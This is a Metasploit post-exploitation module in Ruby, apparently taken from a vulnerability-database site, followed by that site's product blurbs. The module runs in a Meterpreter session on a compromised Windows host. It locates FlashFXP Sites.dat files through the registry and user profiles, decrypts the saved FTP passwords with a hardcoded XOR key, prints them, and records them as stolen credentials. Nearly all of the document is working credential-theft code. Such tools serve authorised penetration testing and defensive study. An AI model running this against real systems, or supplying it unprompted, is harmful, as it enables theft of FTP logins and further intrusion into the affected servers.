##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
'Description' => %q{
This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
finds saved FTP connections in the Sites.dat file.
},
'License' => MSF_LICENSE,
'Author' => [ 'theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
]
}
}
)
)
end
def run
# Checks if the Site data is stored in a generic location for all users
flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'
flash_reg_ver = registry_enumkeys(flash_reg.to_s)
# Ini paths
@fxppaths = []
unless flash_reg_ver.nil?
software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''
unless generic_path.include? '%APPDATA%'
@fxppaths << generic_path + '\\Sites.dat'
end
end
grab_user_profiles.each do |user|
next if user['AppData'].nil?
tmpath = user['AppData'] + '\\FlashFXP\\'
get_ver_dirs(tmpath)
end
@fxppaths.each do |fxp|
get_ini(fxp)
end
end
def get_ver_dirs(path)
session.fs.dir.foreach(path) do |sub|
next if sub =~ /^(\.|\.\.)$/
@fxppaths << "#{path}#{sub}\\Sites.dat"
end
rescue StandardError
print_error("The following path could not be accessed or does not exist: #{path}")
end
def get_ini(filename)
config = client.fs.file.new(filename, 'r')
parse = config.read
ini = Rex::Parser::Ini.from_s(parse)
if ini == {}
print_error("Unable to parse file, may be encrypted using external password: #{filename}")
end
ini.each_key do |group|
host = ini[group]['IP']
username = ini[group]['user']
epass = ini[group]['pass']
port = ini[group]['port']
next if epass.nil? || (epass == '')
passwd = decrypt(epass)
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
service_data = {
address: Rex::Socket.getaddress(host),
port: port,
protocol: 'tcp',
service_name: 'ftp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: username,
private_data: passwd,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
rescue StandardError
print_status("Either could not find or could not open file #{filename}")
end
def decrypt(pwd)
key = 'yA36zA48dEhfrvghGRg57h5UlDv3'
pass = ''
cipher = [pwd].pack('H*')
(0..cipher.length - 2).each do |index|
xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first
if ((xored - cipher[index, 1].unpack('C').first < 0))
xored += 255
end
pass << (xored - cipher[index, 1].unpack('C').first).chr
end
return pass
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation